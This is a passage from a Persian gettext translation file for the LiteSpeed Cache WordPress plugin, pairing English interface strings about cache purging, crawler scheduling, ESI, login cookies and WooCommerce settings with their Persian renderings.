msgid "Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)"
msgstr "قاعده کش غیرمنتظره %2$s در فایل %1$s یافت شد. این قاعده ممکن است باعث شود بازدیدکنندگان نسخه‌های قدیمی صفحات را ببینند زیرا مرورگر صفحات HTML را کش کرده است. اگر مطمئن هستید که صفحات HTML توسط مرورگر کش نمی‌شوند، می‌توانید این پیام را نادیده بگیرید. (%3$sبیشتر بدانید%4$s)"

#: tpl/cache/settings-purge.tpl.php:132
msgid "Current server time is %s."
msgstr "زمان فعلی سرور %s است."

#: tpl/cache/settings-purge.tpl.php:131
msgid "Specify the time to purge the \"%s\" list."
msgstr "زمان را برای پاکسازی لیست \"%s\" مشخص کنید."

#: tpl/cache/settings-purge.tpl.php:107
msgid "Both %1$s and %2$s are acceptable."
msgstr "هر دو %1$s و %2$s قابل قبول هستند."

#: src/lang.cls.php:129 tpl/cache/settings-purge.tpl.php:106
msgid "Scheduled Purge Time"
msgstr "زمان زمانبندی پاکسازی"

#: tpl/cache/settings-purge.tpl.php:106
msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."
msgstr "لینک‌های اینجا (هر یک در یک خط) به طور خودکار در زمان تعیین‌شده در تنظیم \"%s\" پاک‌سازی خواهند شد."

#: src/lang.cls.php:128 tpl/cache/settings-purge.tpl.php:131
msgid "Scheduled Purge URLs"
msgstr "زمانبندی پاکسازی URL‌ها"

#: tpl/toolbox/settings-debug.tpl.php:147
msgid "Shorten query strings in the debug log to improve readability."
msgstr "رشته‌های Query را در فایل گزارش اشکال زدایی برای بهتر شدن خواندن کاهش دهید."

#: tpl/toolbox/entry.tpl.php:28
msgid "Heartbeat"
msgstr "قلب تپنده"

#: tpl/toolbox/settings-debug.tpl.php:130
msgid "MB"
msgstr "MB"

#: src/lang.cls.php:260
msgid "Log File Size Limit"
msgstr "محدودیت سایز فایل گزارش"

#: src/htaccess.cls.php:784
msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"
msgstr "<p>لطفا کدهای زیر را در ابتدای %1$s اضافه/جایگزین کنید:</p> %2$s"

#: src/error.cls.php:159 src/error.cls.php:183
msgid "%s file not writable."
msgstr "فایل %s قابل نوشتن نیست."

#: src/error.cls.php:179
msgid "%s file not readable."
msgstr "فایل %s قابل خواندن نیست."

#: src/lang.cls.php:261
msgid "Collapse Query Strings"
msgstr "کاهش رشته‌های Query"

#: tpl/cache/settings-esi.tpl.php:15
msgid "ESI Settings"
msgstr "تنظیمات ESI"

#: tpl/esi_widget_edit.php:82
msgid "A TTL of 0 indicates do not cache."
msgstr "یک TTL از 0 نشان می دهد که کش پنهان نیست."

#: tpl/esi_widget_edit.php:81
msgid "Recommended value: 28800 seconds (8 hours)."
msgstr "مقدار توصیه شده: 28800 ثانیه (8 ساعت)"

#: tpl/esi_widget_edit.php:71
msgid "Widget Cache TTL"
msgstr "TTL کش ویجت"

#: src/lang.cls.php:216 tpl/esi_widget_edit.php:43
msgid "Enable ESI"
msgstr "فعالسازی ESI"

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:66
msgid "See %sIntroduction for Enabling the Crawler%s for detailed information."
msgstr "برای اطلاعات دقیقتر به %sراهنمای فعالسازی خزنده%s مراجعه کنید."

#: src/lang.cls.php:254
msgid "Custom Sitemap"
msgstr "نقشه سفارشی سایت"

#: tpl/toolbox/purge.tpl.php:214
msgid "Purge pages by relative or full URL."
msgstr "پاکسازی صفحات بر اساس URL نسبی یا کامل."

#: tpl/crawler/summary.tpl.php:61
msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."
msgstr "ویژگی خزنده در سرور LiteSpeed فعال نیست. لطفا با مدیر سرور خود مشورت کنید."

#: tpl/cache/settings-esi.tpl.php:45 tpl/cdn/cf.tpl.php:100
#: tpl/crawler/summary.tpl.php:60 tpl/inc/check_cache_disabled.php:38
#: tpl/inc/check_if_network_disable_all.php:28
#: tpl/page_optm/settings_css.tpl.php:77 tpl/page_optm/settings_css.tpl.php:211
#: tpl/page_optm/settings_localization.tpl.php:21
msgid "WARNING"
msgstr "هشدار"

#: tpl/crawler/summary.tpl.php:82
msgid "The next complete sitemap crawl will start at"
msgstr "خزیدن نقشه سایت کامل شد بعدی شروع خواهد شد در"

#: src/file.cls.php:179
msgid "Failed to write to %s."
msgstr "نمی‌تواند بر روی %s بنویسد."

#: src/file.cls.php:162
msgid "Folder is not writable: %s."
msgstr "پوشه قابل نوشتن نیست: %s."

#: src/file.cls.php:154
msgid "Can not create folder: %1$s. Error: %2$s"
msgstr "پوشه نمی‌تواند ایجاد شود: %1$s، خطا: %2$s"

#: src/file.cls.php:142
msgid "Folder does not exist: %s"
msgstr "پوشه وجود ندارد: %s"

#: src/core.cls.php:339
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr "پاکسازی لیست به LiteSpeed Web Server اعلام شده است."

#. translators: %s: Link tags
#: tpl/cache/settings-cache.tpl.php:36
msgid "Please visit the %sInformation%s page on how to test the cache."
msgstr "لطفا برای نحوه‌ی تست کش به صفحه‌ی %sاطلاعات%s مراجعه کنید."

#: tpl/toolbox/settings-debug.tpl.php:97
msgid "Allows listed IPs (one per line) to perform certain actions from their browsers."
msgstr "این امکان را فراهم می‌آورد که IP های فهرست‌شده (هر یک در یک خط) را برای انجام اقدامات مشخص از مرورگرهای خود انجام دهد."

#: src/lang.cls.php:251
msgid "Server Load Limit"
msgstr "محدودیت بار سرور"

#: tpl/crawler/settings.tpl.php:45
msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."
msgstr "مشخص کنید که چند ثانیه قبل از خزیدن باید کل sitemap را نوسازی کند."

#: src/lang.cls.php:250
msgid "Crawl Interval"
msgstr "فاصله کاوش"

#. translators: %s: Example subdomain
#: tpl/cache/settings_inc.login_cookie.tpl.php:53
msgid "Then another WordPress is installed (NOT MULTISITE) at %s"
msgstr "سپس وردپرس دیگری (NOT MULTISITE) در %s"

#: tpl/cache/entry.tpl.php:28
msgid "LiteSpeed Cache Network Cache Settings"
msgstr "تنظیمات کش شبکه LiteSpeed Cache"

#: tpl/toolbox/purge.tpl.php:179
msgid "Select below for \"Purge by\" options."
msgstr "تنظیم‌های زیر را برای \"پاکسازی بر اساس\" انتخاب کنید."

#: tpl/cdn/entry.tpl.php:22
msgid "LiteSpeed Cache CDN"
msgstr "کش CDN لایت اسپید"

#: tpl/crawler/summary.tpl.php:293
msgid "No crawler meta file generated yet"
msgstr "هنوز فایل متا خزنده ایجاد نشده"

#: tpl/crawler/summary.tpl.php:278
msgid "Show crawler status"
msgstr "نمایش وضعیت خزنده"

#: tpl/crawler/summary.tpl.php:272
msgid "Watch Crawler Status"
msgstr "مشاهده وضعیت خزنده"

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:261
msgid "Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task."
msgstr "لطفاً به <a %s>متصل کردن WP-Cron به زمانبند وظایف سیستم</a> مراجعه کنید تا یاد بگیرید چگونه وظیفه کرون سیستم را ایجاد کنید."

#: tpl/crawler/summary.tpl.php:251
msgid "Run frequency is set by the Interval Between Runs setting."
msgstr "تکرار اجرا توسط تنظیم بازه بین اجراها تنظیم می‌شود."

#: tpl/crawler/summary.tpl.php:142
msgid "Manually run"
msgstr "اجرای دستی"

#: tpl/crawler/summary.tpl.php:141
msgid "Reset position"
msgstr "بازنشانی موقیعت"

#: tpl/crawler/summary.tpl.php:152
msgid "Run Frequency"
msgstr "تکرار اجرا"

#: tpl/crawler/summary.tpl.php:151
msgid "Cron Name"
msgstr "نام Cron"

#: tpl/crawler/summary.tpl.php:54
msgid "Crawler Cron"
msgstr "خزنده Cron"

#: cli/crawler.cls.php:100 tpl/crawler/summary.tpl.php:47
msgid "%d minute"
msgstr "%d دقیقه"

#: cli/crawler.cls.php:98 tpl/crawler/summary.tpl.php:47
msgid "%d minutes"
msgstr "%d دقیقه"

#: cli/crawler.cls.php:91 tpl/crawler/summary.tpl.php:39
msgid "%d hour"
msgstr "%d ساعت"

#: cli/crawler.cls.php:89 tpl/crawler/summary.tpl.php:39
msgid "%d hours"
msgstr "%d ساعت"

#: tpl/crawler/map.tpl.php:40
msgid "Generated at %s"
msgstr "تولید شده در %s"

#: tpl/crawler/entry.tpl.php:23
msgid "LiteSpeed Cache Crawler"
msgstr "خزنده کش لایت اسپید"

#. translators: %s: Link tags
#: tpl/inc/show_display_installed.php:37
msgid "If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s."
msgstr "اگر سوالی وجود دارد، تیم ما همیشه خوشحال خواهد شد که به هرگونه سوالی در انجمن پشتیبانی %s%s پاسخ دهد."

#: src/admin-display.cls.php:259 src/lang.cls.php:249
msgid "Crawler"
msgstr "خزنده"

#. Plugin URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"
msgstr "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"

#: src/purge.cls.php:698
msgid "Notified LiteSpeed Web Server to purge all pages."
msgstr "پاکسازی صفحات به LiteSpeed Web Server اعلام شد."

#: tpl/cache/settings-purge.tpl.php:25
msgid "All pages with Recent Posts Widget"
msgstr "همه صفحات با آخرین ویجت‌ها"

#: tpl/cache/settings-purge.tpl.php:24
msgid "Pages"
msgstr "صفحات"

#: tpl/toolbox/purge.tpl.php:24
msgid "This will Purge Pages only"
msgstr "این فقط صفحات را پاک می‌کند"

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge Pages"
msgstr "پاکسازی صفحه‌ها"

#: src/gui.cls.php:83 tpl/inc/modal.deactivation.php:77
msgid "Cancel"
msgstr "لغو"

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate"
msgstr "غیر فعالسازی"

#: tpl/crawler/summary.tpl.php:154
msgid "Activate"
msgstr "فعال کردن"

#: tpl/cdn/cf.tpl.php:44
msgid "Email Address"
msgstr "آدرس ایمیل"

#: src/gui.cls.php:869
msgid "Install Now"
msgstr "الآن نصب کن"

#: cli/purge.cls.php:182
msgid "Purged the URL!"
msgstr "آدرس اینترنتی (URL) پاک شد!"

#: cli/purge.cls.php:133
msgid "Purged the blog!"
msgstr "وبلاگ پاکسازی شده!"

#: cli/purge.cls.php:86
msgid "Purged All!"
msgstr "تمام شده!"

#: src/purge.cls.php:718
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr "پاکسازی صفحات خطا به LiteSpeed Web Server اعلام شد."

#: tpl/inc/show_error_cookie.php:27
msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."
msgstr "در صورت استفاده از OpenLiteSpeed، سرور باید یک بار ری‌استارت شود تا تغییرات اجرا شود."

#: tpl/inc/show_error_cookie.php:18
msgid "If the login cookie was recently changed in the settings, please log out and back in."
msgstr "اگر کوکی ورود به سیستم اخیرا در تنظیمات تغییر کرده باشد، لطفا بیرون بیایید و دوباره وارد شوید."

#: tpl/inc/show_display_installed.php:29
msgid "However, there is no way of knowing all the possible customizations that were implemented."
msgstr "با این وجود، هیچ راهی برای دانستن تمام تنظیمات ممکن که اجرا شد وجود ندارد."

#: tpl/inc/show_display_installed.php:28
msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."
msgstr "افزونه LateSpeed Cache برای کش صفحات استفاده می شود - یک راه ساده برای بهبود عملکرد سایت."

#: tpl/cache/settings-cache.tpl.php:45
msgid "The network admin setting can be overridden here."
msgstr "تنظیمات مدیر شبکه را می‌توان در اینجا لغو کرد."

#: tpl/cache/settings-ttl.tpl.php:29
msgid "Specify how long, in seconds, public pages are cached."
msgstr "مشخص کنید چه مدت، در ثانیه، برگه‌های عمومی در حافظه پنهان ذخیره شوند."

#: tpl/cache/settings-ttl.tpl.php:44
msgid "Specify how long, in seconds, private pages are cached."
msgstr "مشخص کنید چه مدت، در ثانیه، برگه‌های خصوصی در حافظه پنهان ذخیره شوند."

#: tpl/cache/network_settings-cache.tpl.php:29
msgid "It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first."
msgstr "اکیداً توصیه می‌شود که ابتدا سازگاری با سایر افزونه‌ها در یک/چند سایت آزمایش شود."

#: tpl/toolbox/purge.tpl.php:208
msgid "Purge pages by post ID."
msgstr "پاکسازی صفحات بر اساس شناسه پست."

#: tpl/toolbox/purge.tpl.php:41
msgid "Purge the LiteSpeed cache entries created by this plugin"
msgstr "پاک کردن ورودی‌های کش پنهان litespeed ایجاد شده توسط این افزونه"

#: tpl/toolbox/purge.tpl.php:33
msgid "Purge %s error pages"
msgstr "صفحات خطای %s را پاک کنید"

#: tpl/toolbox/purge.tpl.php:18
msgid "This will Purge Front Page only"
msgstr "این فقط صفحه اصلی را پاک می‌کند"

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr "پاکسازی صفحات بر اساس نام تگ - مثلاً %2$s باید برای URL %1$s استفاده شود."

#: tpl/toolbox/purge.tpl.php:205
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr "پاکسازی صفحات بر اساس نام دسته‌بندی - مثلاً %2$s باید برای URL %1$s استفاده شود."

#: tpl/toolbox/purge.tpl.php:132
msgid "If only the WordPress site should be purged, use Purge All."
msgstr "اگر فقط سایت وردپرس باید پاک شود، از پاکسازی همه استفاده کنید."

#: src/core.cls.php:334
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr "پاکسازی همه چیز به LiteSpeed Web Server اعلام شده است."

#: tpl/general/network_settings.tpl.php:31
msgid "Use Primary Site Configuration"
msgstr "استفاده از پیکربندی سایت اول"

#: tpl/general/network_settings.tpl.php:36
msgid "This will disable the settings page on all subsites."
msgstr "این صفحه تنظیمات را در تمام زیر شاخه‌ها غیرفعال می کند."

#: tpl/general/network_settings.tpl.php:35
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr "این گزینه را انتخاب کنید تا از پیکربندی سایت اول برای تمام زیرمجموعه‌ها استفاده شود."

#: src/admin-display.cls.php:988 src/admin-display.cls.php:993
msgid "Save Changes"
msgstr "ذخیره تغییرات"

#: tpl/inc/check_if_network_disable_all.php:31
msgid "The following options are selected, but are not editable in this settings page."
msgstr "گزینه‌های زیر انتخاب می شوند، اما در این صفحه تنظیمات قابل ویرایش نیستند."

#: tpl/inc/check_if_network_disable_all.php:30
msgid "The network admin selected use primary site configs for all subsites."
msgstr "مدیر شبکه از تنظیمات سایت اصلی برای تمام زیرمجموعه‌ها استفاده می کند."

#: tpl/toolbox/purge.tpl.php:127
msgid "Empty Entire Cache"
msgstr "خالی کردن کل کش"

#: tpl/toolbox/purge.tpl.php:128
msgid "This action should only be used if things are cached incorrectly."
msgstr "این عمل فقط باید مورد استفاده قرار گیرد اگر موارد نادرست کش شوند."

#: tpl/toolbox/purge.tpl.php:128
msgid "Clears all cache entries related to this site, including other web applications."
msgstr "تمام ورودی‌های کش شده مربوط به این سایت، شامل سایر برنامه‌های وب پاک می شود."

#: tpl/toolbox/purge.tpl.php:132
msgid "This may cause heavy load on the server."
msgstr "این ممکن است بار سنگینی بر روی سرور ایجاد کند."

#: tpl/toolbox/purge.tpl.php:132
msgid "This will clear EVERYTHING inside the cache."
msgstr "این همه چیز را در داخل کش پنهان پاک می کند."

#: src/gui.cls.php:691
msgid "LiteSpeed Cache Purge All"
msgstr "پاکسازی همه کش لایت اسپید"

#: tpl/inc/show_display_installed.php:41
msgid "If you would rather not move at litespeed, you can deactivate this plugin."
msgstr "اگر شما مایل به استفاده از litespeed نیستید، می‌توانید این افزونه را غیرفعال کنید."

#: tpl/inc/show_display_installed.php:33
msgid "Create a post, make sure the front page is accurate."
msgstr "یک پست ایجاد کنید، مطمئن شوید صفحه اول درست است."

#: tpl/inc/show_display_installed.php:32
msgid "Visit the site while logged out."
msgstr "سایت را در حالت خارج شده مشاهده کنید."

#: tpl/inc/show_display_installed.php:31
msgid "Examples of test cases include:"
msgstr "نمونه‌هایی از موارد آزمون عبارتند از:"

#: tpl/inc/show_display_installed.php:30
msgid "For that reason, please test the site to make sure everything still functions properly."
msgstr "به همین دلیل، لطفا سایت را تست کنید تا مطمئن شوید که همه چیز به درستی عمل می کند."

#: tpl/inc/show_display_installed.php:27
msgid "This message indicates that the plugin was installed by the server admin."
msgstr "این پیام نشان می دهد که افزونه توسط مدیر سرور نصب شده است."

#: tpl/inc/show_display_installed.php:26
msgid "LiteSpeed Cache plugin is installed!"
msgstr "افزونه کش لایت اسپید نصب شده است!"

#: src/lang.cls.php:257 tpl/toolbox/log_viewer.tpl.php:18
msgid "Debug Log"
msgstr "گزارش اشکال زدایی"

#: tpl/toolbox/settings-debug.tpl.php:80
msgid "Admin IP Only"
msgstr "فقط IP مدیر"

#: tpl/toolbox/settings-debug.tpl.php:84
msgid "The Admin IP option will only output log messages on requests from admin IPs listed below."
msgstr "گزینه IP Admin فقط پیام‌های ورودی را بر روی درخواست‌های IP‌های مدیریت ارسال می کند."

#: tpl/cache/settings-ttl.tpl.php:89
msgid "Specify how long, in seconds, REST calls are cached."
msgstr "مشخص کنید چه مدت، در ثانیه، REST call ها در حافظه پنهان ذخیره شوند."

#: tpl/toolbox/report.tpl.php:66
msgid "The environment report contains detailed information about the WordPress configuration."
msgstr "گزارش محیطی حاوی اطلاعات دقیق درباره پیکربندی وردپرس است."

#: tpl/cache/settings_inc.login_cookie.tpl.php:36
msgid "The server will determine if the user is logged in based on the existence of this cookie."
msgstr "سرور بر اساس وجود این کوکی تشخیص می‌دهد که آیا کاربر وارد سیستم شده است یا خیر."

#: tpl/cache/settings-purge.tpl.php:53 tpl/cache/settings-purge.tpl.php:90
#: tpl/cache/settings-purge.tpl.php:114
#: tpl/page_optm/settings_tuning_css.tpl.php:72
#: tpl/page_optm/settings_tuning_css.tpl.php:147
msgid "Note"
msgstr "نکته"

#: thirdparty/woocommerce.content.tpl.php:24
msgid "After verifying that the cache works in general, please test the cart."
msgstr "پس از تایید اینکه کش به طور عمومی کار می کند، لطفا سبد خرید را بررسی کنید."

#: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25
msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."
msgstr "هنگامی که فعال شود، زمانی که هر پلاگین، قالب یا هسته وردپرس ارتقا داده می شود، کش به طور خودکار پاک می شود."

#: src/lang.cls.php:126
msgid "Purge All On Upgrade"
msgstr "پاکسازی همه هنگام ارتقا"

#: thirdparty/woocommerce.content.tpl.php:34
msgid "Product Update Interval"
msgstr "بازه بروزرسانی محصول"

#: thirdparty/woocommerce.content.tpl.php:55
msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."
msgstr "تعیین اینکه چگونه تغییرات در مقدار محصول و وضعیت موجودی محصول، بر صفحات محصول و صفحات دسته مربوطه تاثیر می گذارد."

#: thirdparty/woocommerce.content.tpl.php:42
msgid "Always purge both product and categories on changes to the quantity or stock status."
msgstr "همیشه هر دو محصول و دسته‌ها را بر اساس تغییرات مقدار یا وضعیت موجودی پاکسازی کنید."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Do not purge categories on changes to the quantity or stock status."
msgstr "دسته‌بندی‌ها را با تغییرات مقدار یا وضعیت موجودی پاکسازی نکنید."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Purge product only when the stock status changes."
msgstr "پاک کردن محصول فقط زمانی که وضعیت موجودی تغییر می کند."

#: thirdparty/woocommerce.content.tpl.php:40
msgid "Purge product and categories only when the stock status changes."
msgstr "پاک کردن محصول و دسته‌ها فقط زمانی که وضعیت موجودی تغییر می کند."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge categories only when stock status changes."
msgstr "پاکسازی دسته‌ها فقط هنگامی که وضعیت موجودی انبار تغییر کرد."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge product on changes to the quantity or stock status."
msgstr "پاکسازی محصول هنگامی که تعداد یا وضعیت موجودی انبار تغییر کرد."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:47
msgid "Htaccess did not match configuration option."
msgstr "تنظیم پیکربندی Htaccess مطابقت نکرد."

#: tpl/cache/settings-ttl.tpl.php:75 tpl/cache/settings-ttl.tpl.php:90
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr "اگر این مقدار به کمتر از 30 تنظیم شده باشد، فید‌ها کش نخواهند شد."

#: tpl/cache/settings-ttl.tpl.php:74
msgid "Specify how long, in seconds, feeds are cached."
msgstr "مشخص کنید چه مدت، به ثانیه، خوراک‌ها کش می شوند."

#: src/lang.cls.php:94
msgid "Default Feed TTL"
msgstr "خوراک پیش‌فرض TTL"

#: src/error.cls.php:187
msgid "Failed to get %s file contents."
msgstr "محتوا از فایل %s دریافت نشد."

#: tpl/cache/settings-cache.tpl.php:102
msgid "Disabling this option may negatively affect performance."
msgstr "غیرفعال کردن این گزینه ممکن است باعث عملکرد منفی شود."

#: tpl/cache/settings_inc.login_cookie.tpl.php:63
msgid "Invalid login cookie. Invalid characters found."
msgstr "کوکی ورود نامعتبر است. کاراکترهای نامعتبر پیدا شده است."

#: tpl/cache/settings_inc.login_cookie.tpl.php:84
msgid "WARNING: The .htaccess login cookie and Database login cookie do not match."
msgstr "هشدار: کوکی ورودی .htaccess و کوکی ورود به سیستم پایگاه داده مطابقت ندارد."

#: src/error.cls.php:171
msgid "Invalid login cookie. Please check the %s file."
msgstr "کوکی ورود نامعتبر است. لطفاً فایل %s را بررسی کنید."

#: tpl/cache/settings_inc.login_cookie.tpl.php:57
msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."
msgstr "کش نیاز به تشخیص اینکه چه کسی وارد سایت WordPress شده است تا به درستی کش شود."

#. translators: %s: Example domain
#: tpl/cache/settings_inc.login_cookie.tpl.php:45
msgid "There is a WordPress installed for %s."
msgstr "یک وردپرس برای %s نصب شده است."

#: tpl/cache/settings_inc.login_cookie.tpl.php:41
msgid "Example use case:"
msgstr "مثال مورد استفاده:"

#: tpl/cache/settings_inc.login_cookie.tpl.php:39
msgid "The cookie set here will be used for this WordPress installation."
msgstr "کوکی تنظیم شده در اینجا برای این نصب وردپرس استفاده خواهد شد."

#: tpl/cache/settings_inc.login_cookie.tpl.php:38
msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."
msgstr "اگر تمام برنامه‌های وب از یک کوکی مشابه استفاده کنند، سرور ممکن است تشخیص دهد که کاربر وارد شده است یا خیر، دچار اشتباه شود."

#: tpl/cache/settings_inc.login_cookie.tpl.php:37
msgid "This setting is useful for those that have multiple web applications for the same domain."
msgstr "این تنظیم برای کسانی که برنامه‌های وب چندگانه برای یک دامنه مشابه دارند مفید است."

#. translators: %s: Default login cookie name
#: tpl/cache/settings_inc.login_cookie.tpl.php:32
msgid "The default login cookie is %s."
msgstr "کوکی ورود به سیستم پیش‌فرض %s هست."

#: src/lang.cls.php:226
msgid "Login Cookie"
msgstr "کوکی ورود به سیستم"

#: tpl/toolbox/settings-debug.tpl.php:104
msgid "More information about the available commands can be found here."
msgstr "اطلاعات بیشتر در مورد فرمان‌های موجود در اینجا می‌توانید پیدا کنید."

#: tpl/cache/settings-advanced.tpl.php:22
msgid "These settings are meant for ADVANCED USERS ONLY."
msgstr "این تنظیمات فقط برای کاربران پیشرفته است."

#: tpl/toolbox/edit_htaccess.tpl.php:91
msgid "Current %s Contents"
msgstr "محتویات فعلی %s"

#: tpl/cache/entry.tpl.php:22 tpl/cache/entry.tpl.php:78
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Advanced"
msgstr "پیشرفته"

#: tpl/cache/network_settings-advanced.tpl.php:17
#: tpl/cache/settings-advanced.tpl.php:16
msgid "Advanced Settings"
msgstr "تنظیمات پیشرفته"

#: tpl/toolbox/purge.tpl.php:225
msgid "Purge List"
msgstr "لیست پاکسازی"

#: tpl/toolbox/purge.tpl.php:176
msgid "Purge By..."
msgstr "پاکسازی بر اساس..."

#: tpl/crawler/blacklist.tpl.php:41 tpl/crawler/map.tpl.php:76
#: tpl/toolbox/purge.tpl.php:200
msgid "URL"
msgstr "URL"

#: tpl/toolbox/purge.tpl.php:196
msgid "Tag"
msgstr "برچسب"

#: tpl/toolbox/purge.tpl.php:192
msgid "Post ID"
msgstr "شناسه پست"

#: tpl/toolbox/purge.tpl.php:188
msgid "Category"
msgstr "دسته‌بندی"

#: tpl/inc/show_error_cookie.php:16
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr "توجه: کوکی نام کاربری پایگاه داده با cookie login شما مطابقت ندارد."

#: src/purge.cls.php:808
msgid "Purge url %s"
msgstr "پاکسازی url %s"

#: src/purge.cls.php:774
msgid "Purge tag %s"
msgstr "پاکسازی برچسب %s"

#: src/purge.cls.php:745
msgid "Purge category %s"
msgstr "پاکسازی دسته %s"

#: tpl/cache/settings-cache.tpl.php:42
msgid "When disabling the cache, all cached entries for this site will be purged."
msgstr "هنگام غیرفعال کردن کش، تمام ورودی‌های کش شده برای این وبلاگ پاک می شود."

#: tpl/cache/settings-cache.tpl.php:42 tpl/crawler/settings.tpl.php:113
#: tpl/crawler/settings.tpl.php:133 tpl/crawler/summary.tpl.php:208
#: tpl/page_optm/entry.tpl.php:42 tpl/toolbox/settings-debug.tpl.php:47
msgid "NOTICE"
msgstr "نکته"

#: src/doc.cls.php:137
msgid "This setting will edit the .htaccess file."
msgstr "این تنظیمات فایل .htaccess را ویرایش خواهد کرد."

#: tpl/toolbox/edit_htaccess.tpl.php:41
msgid "LiteSpeed Cache View .htaccess"
msgstr "نمایش .htaccess لایت اسپیدکش"

#: src/error.cls.php:175
msgid "Failed to back up %s file, aborted changes."
msgstr "بک آپ %s شکست خورد، تغییری اعمال نشد."

#: src/lang.cls.php:224
msgid "Do Not Cache Cookies"
msgstr "کوکی‌ها را کش نکنید"

#: src/lang.cls.php:225
msgid "Do Not Cache User Agents"
msgstr "User Agents را کش نکنید"

#: tpl/cache/network_settings-cache.tpl.php:30
msgid "This is to ensure compatibility prior to enabling the cache for all sites."
msgstr "این برای اطمینان از سازگاری قبل از فعال کردن کش برای همه سایت‌هاست."

#: tpl/cache/network_settings-cache.tpl.php:24
msgid "Network Enable Cache"
msgstr "فعالسازی کش شبکه"

#: thirdparty/woocommerce.content.tpl.php:23
#: tpl/cache/settings-advanced.tpl.php:21
#: tpl/cache/settings_inc.browser.tpl.php:23 tpl/toolbox/beta_test.tpl.php:41
#: tpl/toolbox/heartbeat.tpl.php:24 tpl/toolbox/report.tpl.php:46
msgid "NOTICE:"
msgstr "اعلان:"

#: tpl/cache/settings-purge.tpl.php:56
msgid "Other checkboxes will be ignored."
msgstr "کادرهای دیگر نادیده گرفته خواهند شد."

#: tpl/cache/settings-purge.tpl.php:55
msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."
msgstr "اگر ویجت پویا متصل به پست‌ها در صفحات دیگر غیر از صفحات اول یا خانه وجود دارد، \"همه\" را انتخاب کنید."

#: src/lang.cls.php:108 tpl/cache/settings_inc.cache_mobile.tpl.php:92
msgid "List of Mobile User Agents"
msgstr "لیست نمایندگان تلفن همراه"

#: src/file.cls.php:168 src/file.cls.php:172
msgid "File %s is not writable."
msgstr "پرونده %s قابل نوشتن نیست."

#: tpl/page_optm/entry.tpl.php:17 tpl/page_optm/settings_js.tpl.php:17
msgid "JS Settings"
msgstr "تنظیمات JS"

#: src/gui.cls.php:710 tpl/db_optm/entry.tpl.php:13
msgid "Manage"
msgstr "مدیریت"

#: src/lang.cls.php:93
msgid "Default Front Page TTL"
msgstr "صفحه اول پیش‌فرض TTL"

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr "پاکسازی صفحه اول به LiteSpeed Web Server اعلام شد."

#: tpl/toolbox/purge.tpl.php:17
msgid "Purge Front Page"
msgstr "پاکسازی صفحه اصلی"

#: tpl/page_optm/settings_localization.tpl.php:137
#: tpl/toolbox/beta_test.tpl.php:50
msgid "Example"
msgstr "نمونه"

#: tpl/cache/settings-excludes.tpl.php:99
msgid "All tags are cached by default."
msgstr "همه برچسب‌ها به صورت پیش‌فرض کش می شوند."

#: tpl/cache/settings-excludes.tpl.php:66
msgid "All categories are cached by default."
msgstr "همه دسته‌ها به صورت پیش‌فرض کش می شوند."

#. translators: %s: dollar symbol
#: src/admin-display.cls.php:1540
msgid "To do an exact match, add %s to the end of the URL."
msgstr "برای انجام یک تطبیق دقیق، %s را به انتهای URL اضافه کنید."

#: src/admin-display.cls.php:1533
msgid "The URLs will be compared to the REQUEST_URI server variable."
msgstr "URL‌ها با متغیر REQUEST_URI مقایسه خواهند شد."

#: tpl/cache/settings-purge.tpl.php:57
msgid "Select only the archive types that are currently used, the others can be left unchecked."
msgstr "فقط انواع بایگانی را که در حال حاضر استفاده می شوند را انتخاب کنید، دیگران را می‌توان بدون بررسی کنار گذاشت."

#: tpl/toolbox/report.tpl.php:122
msgid "Notes"
msgstr "یادداشت"

#: tpl/cache/settings-cache.tpl.php:28
msgid "Use Network Admin Setting"
msgstr "استفاده از تنظیمات مدیریت شبکه"

#: tpl/esi_widget_edit.php:54
msgid "Disable"
msgstr "غیرفعال"

#: tpl/cache/network_settings-cache.tpl.php:28
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr "فعال کردن کش LiteSpeed برای وردپرس در اینجا cache برای شبکه را فعال می کند."

#: tpl/cache/settings_inc.object.tpl.php:16
msgid "Disabled"
msgstr "غیرفعال شده"

#: tpl/cache/settings_inc.object.tpl.php:15
msgid "Enabled"
msgstr "فعال شده"

#: src/lang.cls.php:136
msgid "Do Not Cache Roles"
